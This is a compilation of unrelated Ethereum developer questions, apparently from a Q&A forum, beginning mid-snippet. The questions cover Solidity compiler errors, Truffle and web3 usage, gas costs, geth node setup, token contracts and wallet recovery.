        bytes4 retval = ERC721Holder(_to).onERC721Received(address(this), _from, _tokenId, _data);
        return (retval == ERC721_RECEIVED);
    }
}

Every time I try to call tokenTransferTo after calling create() function I get the error message like below. Does anyone knows what's wrong with this?

transact to Caller.tokenTransferTo errored: VM error: revert.
revert  The transaction has been reverted to the initial state.
Note: The constructor should be payable if you send value.  Debug the transaction to get more information.


texts: TimeoutError when using Infura websocket with web3.py

texts:
When I run the following code sometimes it executes successfully, but most of the time it raises a concurrent.futures._base.TimeoutError. What can I do to fix this?

Here is the code:

infura_url_ws = 'wss://mainnet.infura.io/ws/v3/MY-PROJECT-ID'
ws3 = Web3(Web3.WebsocketProvider(infura_url_ws))

abi = [{"name": "NewExchange", "inputs": [{"type": "address", "name": "token", "indexed": True}, {"type": "address", "name": "exchange", "indexed": True}], "anonymous": False, "type": "event"}]
uniswap = ws3.eth.contract('0xc0a47dFe034B400B47bDaD5FecDa2621de6c4d95', abi=abi)

events = uniswap.events.NewExchange.createFilter(fromBlock=8567919).get_all_entries()
block_number = events[0]['blockNumber']
print(block_number)


texts:
I've tried to change the value of defaultAccount on web3.min.js from void to an address, but it didn't seem to work and web3.eth.defaultAccount remained undefined when I called it from the console.

How do I preset that variable?

This is what I'm doing:

I believed the from field would've done the trick, but it didn't. So I tried to force the value

and then I run truffle console


texts: What happens to immutable contracts when Ethereum 2.0 will likely change the 15s block time?

texts:
Immutable contracts that need to have a time system for handling their functions process are mostly based on block.number system. They assume there is about 15seconds between each block and thus calculate a number of block that amounts to the time they want. But with introduction of proof of stake Ethereum 2.0 will likely change the 15 seconds block time.

So does it mean most smart contracts will become obsolete when Ethereum 2.0 comes ?
And how do you recommend one should deal with this issue to release a smart contract that will survive the 2.0 update ?
Also is it even sure 2.0 will impact the 15s ?

P.S: For moment the best option I found is to have a function that can modify a a NUMBER_OF_BLOCKS state variable and increase it or decrease it when 2.0 comes. This function could be limited by only being able to call it once or twice in order to prevent abuse.


texts: truffle web3 synchronous request problem

texts:
Error: Web3ProviderEngine does not support synchronous requests.

That's what I get when I use the following command from Truffle Console:

truffle(ropsten)> web3.eth.getBlock('latest').then(console.log)

Any ideas why this is happening?

The full error is as follows:

truffle(ropsten)> web3.eth.getBlock('latest').then(console.log)
Error: Web3ProviderEngine does not support synchronous requests.
    at ProviderError.ExtendableError (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-error/index.js:10:1)
    at new ProviderError (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-provider/error.js:17:1)
    at /usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-provider/wrapper.js:71:1
    at HDWalletProvider.send (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-provider/wrapper.js:109:1)
    at RequestManager.send (/usr/local/lib/node_modules/truffle/build/webpack:/~/web3/lib/web3/requestmanager.js:58:1)
    at Eth.send [as getBlock] (/usr/local/lib/node_modules/truffle/build/webpack:/~/web3/lib/web3/method.js:145:1)
    at evalmachine.<anonymous>:1:10
    at ContextifyScript.Script.runInContext (vm.js:59:29)
    at Object.runInContext (vm.js:120:6)
    at Console.interpret (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-core/lib/console.js:164:1)
    at ReplManager.interpret (/usr/local/lib/node_modules/truffle/build/webpack:/packages/truffle-core/lib/repl.js:119:1)
    at bound (domain.js:301:14)
    at REPLServer.runBound [as eval] (domain.js:314:12)
    at REPLServer.onLine (repl.js:468:10)
    at emitOne (events.js:116:13)
    at REPLServer.emit (events.js:211:7)
    at REPLServer.Interface._onLine (readline.js:282:10)
    at REPLServer.Interface._line (readline.js:631:8)
    at REPLServer.Interface._ttyWrite (readline.js:911:14)
    at REPLServer.self._ttyWrite (repl.js:537:7)
    at ReadStream.onkeypress (readline.js:160:10)
    at emitTwo (events.js:126:13)
    at ReadStream.emit (events.js:214:7)
    at emitKeys (internal/readline.js:420:14)
    at emitKeys.next (<anonymous>)
    at ReadStream.onData (readline.js:1011:36)
    at emitOne (events.js:116:13)
    at ReadStream.emit (events.js:211:7)
    at addChunk (_stream_readable.js:263:12)
    at readableAddChunk (_stream_readable.js:250:11)
    at ReadStream.Readable.push (_stream_readable.js:208:10)
    at TTY.onread (net.js:594:20)
truffle(ropsten)>


texts:
Getting a balance for a token from the JSON RPC is simple. This is all I need to get a Tronix balance. The "0xf230b790e05390fc8295f4d3f60332c93bed42e2" part is the contract address for Tronix.

{"id":1,"jsonrpc":"2.0","method":"eth_call","params":[{"to":"0xf230b790e05390fc8295f4d3f60332c93bed42e2","data":"[ADDRESS ABI]"},"latest"]}

But, how do I check what contracts are at an address?

If I do a eth_getTransactionReceipt on a transaction, I can get the contract address, but I need to know what transactions are at the address first. I can't figure this one out... How can I know which transactions have hit an address?

This Ethsplorer API call is exactly what I'm looking for, but I can't figure out how to do this with the JSON RPC:
https://api.ethplorer.io/getAddressInfo/0xff71cb760666ab06aa73f34995b42dd4b85ea07b?apiKey=freekey

From doing some reading, a lot of people are saying that I have to scan the entire Blockchain, but I am 90% sure that it is possible to achieve what I am looking for because MyEtherWallet does it. When I connect my Trezor, it makes the above eth_call call and passes the Tronix contract address in to the call, so it knows that there is Tronix at the address, but how does it know this? It's clear that MEW is not scanning the entire Blockchain when I query my wallet, so either they have figured out how to do this with the normal JSON RPC with a call that I'm not understanding properly, or they are making a secret call to some server indexed by addresses.


texts: ERC-20 TransferFrom function exceeds GasLimit calling from other conract

texts:
I have the following error. Imagine that I have contract A, B(ERC20 implementation contract), C, D and E. They are inherit in that order. Testing the functionallity works fine in remix. But when I try to merge Java Web3j wih this contracts I have a problem.
Inside E contract I have a function that add a value to a array and call to the the ERC20 implementation TransferFrom function. The problem is that the the function consumes all the gas limit. If I take out the line the function works fine. But i dont wont to not call the transferFrom function.
I try taking out the assert inside the SafeMath Erc20 library but still not working.
The version of solidity is the 0.4.24
Any idea???
Debugging the transaction. Tha transaction receipt consumed all the gas that I have set into the DefaultGasProvider class in Java. I have set 9_000_000 of gas but inceasing this value the problem persist.

The piece of code:
Token.sol transferFrom function
    function transferFrom(address _from, address _to, uint256 _value) public isEnableUsage returns(bool) {

    require(allowed[_from][msg.sender] >= _value && balances[_from] >= _value && _value > 0, "Not enough token");
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
}

The function that call the external contract
    function petition() external{
    // Transfer tokens to this contract account
    tokens.transferFrom(msg.sender, this, getValue());

    // Initialize the array
    arr.push(msg.sender);
}

Is deployed in a Quorum with Byzantinum consensus.
I recover this issues in GitHub but not solve my problem.

https://github.com/ethereum/solidity/issues/3969
https://github.com/ethereum/solidity/issues/4259


texts:
Is it possible to automate the deployment of smart contract using git??
As we know it impossible to update existing contract but we can manage the update of contract by using entry level contract, but this whole process is manual, I want to automate the deployment ie. as soon as any thing is updated in contract on git it should be updated on blockchain.


texts: What's cheaper — contract storage | log data | transaction input?

texts: I want to collect user data and store it on the blockchain. Let's say I need to store usernames. Is the cost of storing 1 byte on the blockchain different for contract storage/log data/transaction input?


texts:
I am currently developing a dApp with Drizzle on top of ReactJS.

My project consists of, basically, 8 .sol files. 4 of them are just abstract contracts that include the functions, structs etc. for easier human readability and the other 4 hold the logic of the contracts.

My main issue is that some of the contracts must be unique to every user - The user should be able to create a new instance of a contract for as many times as they want.

I have tried to do it by having one more contract that will create the new instances, like this:

pragma solidity ^0.5.10;

import './ContractToBeInstanced.sol';
contract newInstance {
  function newInstanceFunc(address _address) public returns(address) {
    ContractToBeInstanced T = new ContractToBeInstanced(_address);
    return T.getAddress(); //returns the address(this) of the contract
  }
}

and in the ContractToBeInstanced.sol I have a constructor that it sets the owner of the new instance:

  constructor(address _owner) public {
    owner = _owner;
    getAddress(); //it also calls the getAddress() to return the address to the parent function
  }

So, my main issues are:

How do I create that instance through Drizzle? For example, I have tried:

<Button onClick={ () => this.contracts.newInstance.methods.newInstanceFunc.cacheSend(contractConfig.contractName, {from: this.currentAccount})) }>New Instance</Button>

Metamask opens, I run the transaction, it gets valid and then, nothing.
I also can not see the new (instance) of the contract in the Contracts menu in Ganache and there is no output in the transactions that returns the new contract's address. Is all this normal?

When the new instance of the contract will be created, how will I be able to access it again in a later manner of time? I suspect that I will have to use some kind of IPFS or look through the past transactions? I know that this is a very simple question, but I am not really sure yet.

What I would also like to note, is that my truffle's migration files only do a:

deployer.deploy(ContractA).then( () => deployer.deploy(ContractB)...);

which I think is wrong and that the Migrations.sol is untouched.


texts: How to get ethereumjs-abi's soliditySHA3 and web3 sign equivalents in ethersjs?

texts:
Hello I'd like to create a hash using ethersjs that encodes a number of arguments. I previously used ethereumjs-abi's soliditySHA3 function but not sure which of ethersjs crypto utilities is the correct one. It currently looks like this:

const hash = "0x" + abi.soliditySHA3("address", "uint256", "uint256", "address"],[recipient, amount, nonce, contractAddress]).toString("hex");

signature = await web3.eth.personal.sign(hash, from, pwd);

Also, I'd like to know how to make an Ethereum-aware signature using this hash and the sender's address (above). A contract should then be able to decrypt this signature using the same signature, nonce and expected amount. Like so:

 function claimPayment(uint256 amount, uint256 nonce, bytes memory signature) public {
        require(!usedNonces[nonce], "contract already used");
        usedNonces[nonce] = true;

        // this recreates the message that was signed on the client
        bytes32 message = prefixed(keccak256(abi.encodePacked(msg.sender, amount, nonce, this)));
        require(recoverSigner(message, signature) == owner, "signer must be same as owner");

        msg.sender.transfer(amount);
    }

source: Solidity docs

UPDATE

I have found that ethers carries a utility that mimics ethereumjs in the following: ethers.utils.solidityKeccak256.

I also believe the web3 sign can be recreated with the following:

const signingKey = new ethers.utils.SigningKey(connectedWallet.privateKey);
const messageDigest = "0x" + ethers.utils.solidityKeccak256(["address", "uint256", "uint256", "address"],[recepient, amount, nonce, contract.address])
const signature = signingKey.signDigest(messageDigest);

However, I get an error, "Error: invalid hexidecimal string" and still debuggint this.


texts: Where can I find an Ethereum Gas Price chart on Ropsten testnet?

texts:
For the main Ethereum blockchain, we can have access to the history of ETH gas price here : https://etherscan.io/chart/gasprice

I would like to have access to something similar for the Ropsten testnet.


texts: Is there an Ethereum javascript library to work with creating and validating addresses?

texts: There are a bunch of ethereum sites with alot of js functionality already, but how did they do this when there is no js library that I can find? Is there a javascript library for working with Ethereum?


texts: Can I move ether of one arbitrary account to another one by a contract automatically?

texts:
I'd like to move ether from one arbitrary account to another account following a contract.  From the execution method, I'd like to send ether.  Can I do that?

contract MultiplyContract{
    address public sender;
    address public receiver;
    uint public price;
    function MultiplyContract(
      address _sender,
      address _receiver,
      uint _price
      ){
      sender = _sender;
      receiver = _receiver;
      price = _price;
    }
    function Execution(){
      //sender send ether to receiver//
    }
    function () {
      throw;
    }
}


texts: How the "data" field of transaction is saved in the Ethereum blockchain?

texts:
as I imagine there are 2 options:
in pseudo language:
1)
block.add(tx.data);
block.calculate_hash_for_blockchain();

2)
block.add(some_hash_function(tx.data));
block.calculate_hash_for_blockchain();

in the first case full nodes have to keep the data,
in the second case they have to keep only hashes,

or in other words the "level of immutability" of cryptograffiti.info and chainy.info is the same or not the same?

or I'm completely wrong with 1 and 2 and it works differently?


texts: Which is the expected behavior trying to get an undefined mapping value?

texts:
In ERC20 standard, _allowed is defined as:

mapping (address => mapping (address => uint256)) private _allowed;

and the getter function is defined as:

function allowance(address owner, address spender) public view returns (uint256) {
        return _allowed[owner][spender];
}

I'm testing the function, and calling allowance(address1, address2) I receive 0. Why is that happening? The keys address1, and address2 were not initialized in _allowed.

I was expecting a KeyError, like in another languages, (python, etc.).


texts:
Hi I had created a wallet in the Etherchain but lost my 12 words passcode, due to accidently deleted them.  Is there anyway that I can get the ETH fund transfer me back?

My etherchain address is below:
https://etherscan.io/address/0x2c964fc2dee70060c19d32a458a71ea9ac6f21af

Thank you so much.
Best Regards,
Somchai


texts:
Does anyone know how to efficiently concat two bytes arrays with assembly language to save gas costs? Currently I have

function mergeBytes(bytes param1, bytes param2) returns (bytes) {

    bytes memory merged = new bytes(param1.length + param2.length);

    uint k = 0;
    for (uint i = 0; i < param1.length; i++) {
        merged[k] = param1[i];
        k++;
    }

    for (i = 0; i < param2.length; i++) {
        merged[k] = param2[i];
        k++;
    }
    return merged;
}

Is there a way to avoid for loops here?


texts: Transferring ETH from Contract to simple wallet *without MIST and synced blockchain*

texts:
I have been trying for weeks to sync the blockchain (it just hangs around block 3798000 - and yes I've deleted the chaindata folder, did geth --fast, etc, etc, etc...).  In other words I cannot get MIST up and running to transfer ETH.

My question is this:  Is there any way to transfer ETH from a contract wallet to a simple wallet?  I know both addresses and have the keystore files and password for Geth/Mist.


texts:
Where can I find and download GASPER (short for GAS-costly Patterns checkER), the tool mentioned in the paper Under-Optimized Smart Contracts
Devour Your Money?


texts: Can smart contract 'trigger' a payment between wallets?

texts:
Imagine:

Buyer and seller agree to a smart contract on and own both a ERC20 compatible wallet. Seller fails to deliver the product so buyer get's his tokens back.

In this example the tokens where already sent to the Smart Contract before it executed (or even could execute). But is it also possible to trigger payments between wallets without having to send tokens to the Smart Contract before execution?

Obviously some problems could arise right here (e.g. buyer transferring all his tokens another wallet) but that is not the question.

Hope you guys can answer this!


texts:
I have a Contract B which should inherit from contract A.

Using Truffle, how can I test that this is indeed the case?


texts: Nethereum. Analog for web3.eth.filter('latest').watch()

texts:
I need to watch changes in blockchain. For web3.js it was simle.

web3.eth.filter('latest').watch(function () {
            //some code
        });

How implement this in Nethereum?


texts:
Is there a way to export all metamask accounts at the same time and then load them in some other browser ?
Say for eg I have around 20 accounts in metamask in firefox and then I want to load these accounts at once from firefox to chrome. And these accounts are not generated from the mnemonic phrase. All of them have been imported from keystore json files.


texts: Adding additional info for initial state of Drizzle

texts: How do I add extra content to the initial state of drizzle? I want to keep some local information that is not dependant on the blockchain. Should I keep a seperate redux store for that or is there a way to integrate this with drizzle?


texts: Create prefunded accounts on a test blockchain

texts:
I want to create a test blockchain to play around.
When I try test-rpc there are already ten accounts created but no funds - how can I generate funds? can I import a genesis.json?

My second approach is to use

geth init '/my-path/genesis.json'

I generated some accounts with https://iancoleman.io/bip39/ and added some funds with alloc in genesis.json:

{
  "config": {
        "chainId": 0,
        "homesteadBlock": 0,
        "eip155Block": 0,
        "eip158Block": 0
    },
  "alloc": {
  "0xFf0333b3Cfa24652646eA24fe98a54f0f1001849": {"balance": "111111111"},
  "0xFEfaf15eEc2D3F06958043acA3aF3766745358aB": {"balance": "111111111"},
  "0xFf0333b3Cfa24652646eA24fe98a54f0f1001849": {"balance": "78111111111"},
  "0xb0A7C9Fa07Be78cBf2F3a5b1A87Cd87BBA72A1Ed": {"balance": "977111111111"},
  "0x4eD82D45102cB38cf8c7b4261675b2FEB577063e": {"balance": "324111111111"},
  "0x46347159a3497d3AC1948D44294268C1E3a3A321": {"balance": "2345234111111111"},
  "0x8a58Cc8EeACeFA52f6f70C4F116F57291438F2dB": {"balance": "224111111111"},
  "0x1a4Ec59De4d833e06dfA1700E8611D4B3a4B4EBd": {"balance": "2424111111111"},
  "0x124BC9eBd0447F5e594F871691415a212A5EcA63": {"balance": "2222244222222222"}
},
  "coinbase"   : "0x0000000000000000000000000000000000000000",
  "difficulty" : "0x20000",
  "extraData"  : "",
  "gasLimit"   : "0x2fefd8",
  "nonce"      : "0x000005678000042",
  "mixhash"    : "0x0000000000000000000000000000000000000000000000000000000000000000",
  "parentHash" : "0x0000000000000000000000000000000000000000000000000000000000000000",
  "timestamp"  : "0x00"
}

The problem is I need to add this accounts with private keys manually to the geth "wallet".
What would be a good automatic solution for wallet creation within geth so I can immediately start to move ether around on my new test environment?


texts: Name Styling Best Practices Internal/External variables/functions etc

texts: The solidity docs clearly specify how to style function order, types etc. However, are there an appropriate way to also separate between internal/external variables, functions etc. I see some people name internal functions and internal variables with a _prefix, others do it to function arguments as well which makes it a little confusing.


texts: Passing a bytes32 as a parameter from web3, returns invalid opcode

texts:
When I deploy the solidity contract and make the tests with mocha, the result of a function that receives a bytes32 parameter works fine. But, when I make the same with web3 in order to make the process in the UI, always I obtain an invalid opcode (an error). I don't know what I am doing wrong, in advance any clarification is welcome.

Here my function in solidity contract (works fine in remix, for example):

struct EntityStruct {
  address person;
  address originPath;
  address destinationPath;
  uint distance;
  bool isEntity;
}

mapping (bytes32 => EntityStruct) public entityStructData;

function hashTheID(bytes32 stringToHash) constant public returns(bytes32 stringHashed)
{
   // This function returns a valid data. This function never throws error
   return keccak256(stringToHash);
}

function setEntityData(address originPath, address destinationPath, uint distance, bytes32 stringHashed) public payable returns (bool success)
{
  require(originPath != address(0x0));
  require(destinationPath != address(0x0));

  entityStructData[stringHashed].person = msg.sender;
  entityStructData[stringHashed].originPath = originPath;
  entityStructData[stringHashed].destinationPath = destinationPath;
  entityStructData[stringHashed].distance = distance;
  entityStructData[stringHashed].isEntity = true;

  // I have the declaration of this event in other part of the contract
  LogPersonSetted(msg.sender, originPath, destinationPath, distance);
  return true;
}

function getIfEntityData(bytes32 stringToHash) constant public returns (bool isEntity)
{
  // The idea is that the user gives the string without the hash,
  // but this function always fails when I call with web3
  bytes32 stringHashed = hashTheID(stringToHash);
  return (entityStructData[stringHashed].isEntity);
}

Here is the call from web3 using react:

I make all the calls to the contract with this structure, so I am sure that the data like 'contractInstance' is correctos. And I pass the parameter the same as the contract function 'hashTheID' returns to me, This doesn't work.

contractInstance.getIfEntityData(stringToHash, { from: entity } )
  .then((success) => {
    console.log(success);
  })
  .catch(function(error) {
    console.log(error);
  });


texts:
When I try to compile my smart contract ill get an error. I hope someone can help me changes the contract.

CompilerError: Stack too deep, try removing local variables. -->
HeroRat.sol:1046:80: | 1046 | (uint256 rAmount, uint256
rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee,
tLiquidity, tMarketing, tCharity, _getRate()); | ^^^^^^^

function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity, uint256 tMarketing, uint256 tCharity) = _getTValues(tAmount);
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, tMarketing, tCharity, _getRate());
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity, tMarketing, tCharity);
    }


texts:
I see a lot of projects run into server capacity issues at launch (token sale, nft launch, etc). [1], [2]
What reason(s) would require these projects to have a server, versus deploying a static frontend to S3/Netlify? My understanding is that the "backend" is the blockchain, and transactions are sent client side with web3.eth.sendTransaction().


texts: configureMinter at USDC Token on Rinkeby

texts:
I have deployed the ERC20 token USDC to Rinkeby. More precisely I have deployed the proxy contract and the token contract.
Then I called the upgradeToAndCall function to implement and initialize the token contract.
Everything till here was ok.
The problem came when I tried to call the configureMinter function.
 function configureMinter(address minter, uint256 minterAllowedAmount) whenNotPaused onlyMasterMinter public returns (bool) {
    minters[minter] = true;
    minterAllowed[minter] = minterAllowedAmount;
    emit MinterConfigured(minter, minterAllowedAmount);
    return true;
}

I am getting Transaction has been reverted by the EVM
I don't know what is going on because that error does not say too much.
The account that is calling that function is masterMinter so that is not the problem.
Etherscan Transaction
This is the way I am calling the function:
  const contractUSDC = new web3.eth.Contract(usdcABI, "0x3947bb670c5e2695827235ED1c9F2768f382a9bD");
  await contractUSDC.methods.configureMinter(account, '1000000000').send({
    from: account,
    gasPrice,
    gas: 10000000,
  })

Proxy Code
Implementation Code
How to know what is going on with that error?
Thanks in advance.


texts: Deployed Smart Contract doesn't work after Geth private node restart

texts:
i'm running my private node with Geth, v1.9.13, deployed my Smart Contract via truffle migrate and everything works fine. when i shutdown the machine and startup my node again, everything seems not working no more, for example making a simple call to to the Contract returns me the error "new BigNumber() not a base 16 number", sending tx has no effects, it doesn't emit events no more, my contract looks almost like "freezed"; so when i deploy again the contract everything start to work again, on the new contract's address obviously...

i'm starting my node in this way:

geth --mine --datadir /myDir --networkid 777 --rpcapi "db,eth,net,web3" --rpc --rpccorsdomain "*" --unlock "0xf60eb8f920980e7b7706efca7af153e02db975f4" --password ~/blockchain/password.txt --rpcport "8545" --rpcaddr "10.207.235.84" --allow-insecure-unlock --syncmode full

and after any restart the block number still going correctly on

i need my Contract to still working and mantains data also after several node restarts.

Any suggestion will be great!


texts: Canceled a transaction and no longer saw my ether in metamask wallet

texts:
I was sending 14.793776530278380275 ($5,744.42 at the time) worth of ether over to binance. I set the gas fee to be at the max and waited for the transaction for around 10+ minutes. Due to this I thought there as an issue and decided to cancel. After that I no longer saw my balance on my meta mask.
Transactions
0x8461b92a9f168075e6d6219bf15c2d1bf2c7f589350057504500c61d0a34685b
dropped and replaced
0x9984d0478d6270625bd2f5c589c34803e09f2e5d2a7efedcb3b54ae9af8e8f15


texts: What's the difference between payable function and non-payable function in bytecode for solidity?

texts:
Suppose I have two solidity functions:

function funcA()public{}

And

function funcB()public payable{}

What's the difference between their bytecode?
if I call the funcA with some ether in the transaction, it will revert, and what happens in bytecode?


texts: "Mock compiler : Source not found" Error in Remix online IDE

texts:
I haven't been able to compile any solidity code because of this error.
How do I solve this problem?


texts: When constructing a transaction, what is the unit of the value field?

texts:
Here is an example of constructing an ethereum transaction

var rawTx = {
  nonce: '0x00',
  gasPrice: '0x09184e72a000',
  gasLimit: '0x2710',
  to: '0x0000000000000000000000000000000000000000',
  value: '0x00',
  data: '0x7f7465737432000000000000000000000000000000000000000000000000000000600057'
}

var tx = new Tx(rawTx);
tx.sign(privateKey);

What is the unit of the 'value' field in rawTx? I can see that it is represented in hex in the transaction, but I've seen other examples that represent ludicrous amounts in decimal so I'm guessing the unit is not ether.


texts: After creating an account (i.e. lets say using Mist) we can update the account name from the Mist interface by editing it. Is there a way that we can fetch that account name by providing the account address Web3 API. Hoping this is different to ENS.


texts: I am sending some ether from account[0] to account[1] using geth console. But the amount is not getting added to the receiving account

texts:
I tried to mine the transaction using miner.start() command, still account balance remains the same

> miner.start(8)
I0428 16:27:15.927553 miner/miner.go:136] Starting mining operation (CPU=8 TOT=9)
true
> I0428 16:27:15.932550 miner/worker.go:514] commit new work on block 393 with 2 txs & 0 uncles. Took 4.9972ms
> miner.stop()
true


texts: Is there a token standard that allow for future minting and burning of tokens?

texts: I am interested in an ethereum token with the functionality for an operator to mint new supply at any time. It would also be nice if the operator could burn supply explicitly rather than sending to an address. Is there a standard for this type of token?


texts: Can someone send their stable coin ERC-20 tokens to my smart contract?

texts:
Here is a business case.  Two people own an asset, and they estimate the annual maintenance on that asset is $1000 over the next year.  So they each want to put $500 and lock it up in my smart contract.  An administrator of the asset can spend the funds as needed. Can't use ETH, because of the volatility.  If price drops, then no money to pay the maintenance.

Can only ETH be sent to a smart contract? Or can any other ERC-20 token be sent?

If any stable coin can be used, then I can work on the technicalities.  If not, then the only solution I see is to create my own stable coin.  Am I understanding correctly?

This question is related but somewhat different from Smart Contract with stable coin.


texts: How is the Two Generals Problem solved with proof of work?

texts:
Here is an email where Satoshi Nakamoto explains how PoW solves the Byzantine Generals' problem http://satoshi.nakamotoinstitute.org/emails/cryptography/11/

  The proof-of-work chain is a solution to the Byzantine Generals' Problem. I'll
  try to rephrase it in that context...

On Wikipedia, however, it's said that this problem is proved to be unsolvable https://en.wikipedia.org/wiki/Two_Generals%27_Problem

  The Two Generals Problem was the first computer communication problem to be proved to be unsolvable. An important consequence of this proof is that generalizations like the Byzantine Generals problem are also unsolvable in the face of arbitrary communication failures

What did PoW actually solve and with what assumptions?


texts:
I've been lately trying to understand tokens in Ethereum, which basically makes me ponder ERC20 token standard...
I still am very much confused in all of its concepts, but the main thing that I haven't been able to understand is why people would play cryptokitties... Why would I want to pay for breeding two cats and getting a nicer breed and also, buying it from others? I just can't wrap my head around that concept...
Like WHYYYYYYYYY.....!?!???
Please someone make me understand what is even going on in there to make it one of the most famous token deployed in Ethereum?


texts: Create a child contract from parent contract via remix

texts:
I was trying to create a new contract from another one like this:

pragma solidity ^0.4.8;

contract Child {
    address public owner;

    function Child() public {
        owner = msg.sender;
    }
}

contract Parent {
    address owner;

    event NewChildCreated(address childAddress, address creator);

    function Parent() public {
        owner = msg.sender;
    }

    function createChild() public {
        Child child = new Child();
        NewChildCreated(address(child), child.owner());
    }
}

So in remix I called createChild() from the Parent and there is a log with the address of that newly-created Child contract (e.g. 0x1234).

However, when I copied that address and created a Child instance based on that address (0x1234) in remix, I was not able to access the owner property of it. I was getting this error: call to Child.owner errored: Cannot read property 'length' of undefined.

Am I creating the child contract wrongly? Why I cannot refer to the newly-created Child contract?


texts: How to unlock accounts programmatically after the node has started?

texts:
Is there any way of just unlocking accounts without opening the console with geth?
I'm writing some scripts to automate cluster generation and I wish I could just call geth to unlocking some accounts without starting another instance or attaching to an existing one.

Edit
If I run something like:
geth --genesis "$GENESIS_FILE" --datadir "$DATA_DIR" --networkid "$NETWORK_ID" \
     --password <(echo -n $ACCOUNT_PASSWD) --unlock "$UNLOCK_INDEXES" \
     --exec '""' attach > /dev/null

after the node startup, the accounts are not unlocked.
The only way I've managed to get accounts unlocked was to unlock them when running geth in order to start the node.


texts: I have a Transaction Hash, how to get the readable Input Data?

texts:
i have a Transaction Hash:
0x9f46760404dd3075533e8360fe4beb0ba7210423af1f4a95a5c80defffe824b5, for
how do i decode the "input data" easily?
for example:
https://www.blockchain.com/eth/tx/0x9f46760404dd3075533e8360fe4beb0ba7210423af1f4a95a5c80defffe824b5
i tried this, but i don't have the ABI:
https://lab.miguelmota.com/ethereum-input-data-decoder/example/


texts: Why are there so many testing environments around Ethereum?

texts:
A newbie here, just trying to connect the dots.

Why are there so many test environments in the ethereum ecosystem -- rinkebys, testrpc, ropsten and what else? Why not have just one testing environment that is as close to the "state" of the real production i.e. mainnet as possible?

What's the reasoning behind it?


texts:
As I understand, currently the preferred way to acquire ETH (for investment purpuses) is through a third-party exchange service.

Isn't ethereum all about executing smart contracts when a specific condition is met, which is verified using oracles (relaying extra-blockchain state changes)?

What makes running an exchange on the ethereum network which verifies USD transfers through e.g. PayPal's API infeasible?


texts:
I am testing a smartcontract with Truffle V5. All works well if I do not use all decimals. If I set 18 decimals all explodes. The test code is this (from truffle docs):

const MetaCoin = artifacts.require("MetaCoin");

contract("2nd MetaCoin test", async accounts => {
  it("should put 10000 MetaCoin in the first account", async () => {
    let instance = await MetaCoin.deployed();
    let balance = await instance.getBalance.call(accounts[0]);
    assert.equal(balance.valueOf(), 10000);
  });

  it("should call a function that depends on a linked library", async () => {
    let meta = await MetaCoin.deployed();
    let outCoinBalance = await meta.getBalance.call(accounts[0]);
    let metaCoinBalance = outCoinBalance.toNumber();
    let outCoinBalanceEth = await meta.getBalanceInEth.call(accounts[0]);
    let metaCoinEthBalance = outCoinBalanceEth.toNumber();
    assert.equal(metaCoinEthBalance, 2 * metaCoinBalance);
  });

  it("should send coin correctly", async () => {
    // Get initial balances of first and second account.
    let account_one = accounts[0];
    let account_two = accounts[1];

    let amount = 10;

    let instance = await MetaCoin.deployed();
    let meta = instance;

    let balance = await meta.getBalance.call(account_one);
    let account_one_starting_balance = balance.toNumber();

    balance = await meta.getBalance.call(account_two);
    let account_two_starting_balance = balance.toNumber();
    await meta.sendCoin(account_two, amount, { from: account_one });

    balance = await meta.getBalance.call(account_one);
    let account_one_ending_balance = balance.toNumber();

    balance = await meta.getBalance.call(account_two);
    let account_two_ending_balance = balance.toNumber();

    assert.equal(
      account_one_ending_balance,
      account_one_starting_balance - amount,
      "Amount wasn't correctly taken from the sender"
    );
    assert.equal(
      account_two_ending_balance,
      account_two_starting_balance + amount,
      "Amount wasn't correctly sent to the receiver"
    );
  });
});

This is the smart contract I need to test (from MetaCoin.sol file, modified on order to use latest compiler (currently I use 0.5.2) and etc.). The original can be found here:

pragma solidity >=0.4.25 <0.6.0;

import "./ConvertLib.sol";

// This is just a simple example of a coin-like contract.
// It is not standards compatible and cannot be expected to talk to other
// coin/token contracts. If you want to create a standards-compliant
// token, see: https://github.com/ConsenSys/Tokens. Cheers!

contract MetaCoin {

// I add this section in EIP20 style
    string public symbol;
    string public  name;
    uint8 public decimals;
    uint _totalSupply

    mapping (address => uint) balances;

    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    constructor() public {

// I modified constructor to introduce symbol, name, decimals and totalSupply
        symbol = "MTC";
        name = "MetaCoin Example Token";
        decimals = 18;
        _totalSupply = 10000 * 10**uint(decimals);
        balances[tx.origin] = _totalSupply;
    }

    function sendCoin(address receiver, uint amount) public returns(bool sufficient) {
        if (balances[msg.sender] < amount) return false;
        balances[msg.sender] -= amount;
        balances[receiver] += amount;
        emit Transfer(msg.sender, receiver, amount);
        return true;
    }

    function getBalanceInEth(address addr) public view returns(uint){
        return ConvertLib.convert(getBalance(addr),2);
    }

    function getBalance(address addr) public view returns(uint) {
        return balances[addr];
    }
}

All is ok if decimals is, for instace "1" or "2", but when I use "18" i loose the control. How can I implement bignumbers treatment in the javascript tests? I tried, but it does not work.


texts: If I change the gaslimit in my genesis file does the network import the old blocks or only the new blocks? if it's yes how can I do it without modifying the genesis block ? I want to make the gaslimit higher without losting the old blocks


texts:
For some reason i cant access the online Remix IDE. http://remix.ethereum.org
it gives me a blank page with a logo. Tried to access from Firefox, Chrome and Edge aswell as disabling all extensions including adblocker but all three show me the same screen. Am I missing something?


texts: Stack too deep, try using fewer variables

texts:
Seems like I'm passing a lot of arguments in a struct creation,
this message error showed up "stack too deep , try using fewer variables"

I tried to get rid of it by using bytes32 instead of string, but I've been told that using bytes32 gonna cause lot of troubles especially when receiving data from the front end.

What to do?


texts: What exactly happen when we execute truffle migrate --reset?

texts:
I have a old ABI generated by executing truffle migrate.
Now I update the code and generate a new ABI by truffle migrate --reset.

What exactly happens by executing truffle migrate --reset ?

What about the data storage of previous smart contract ?


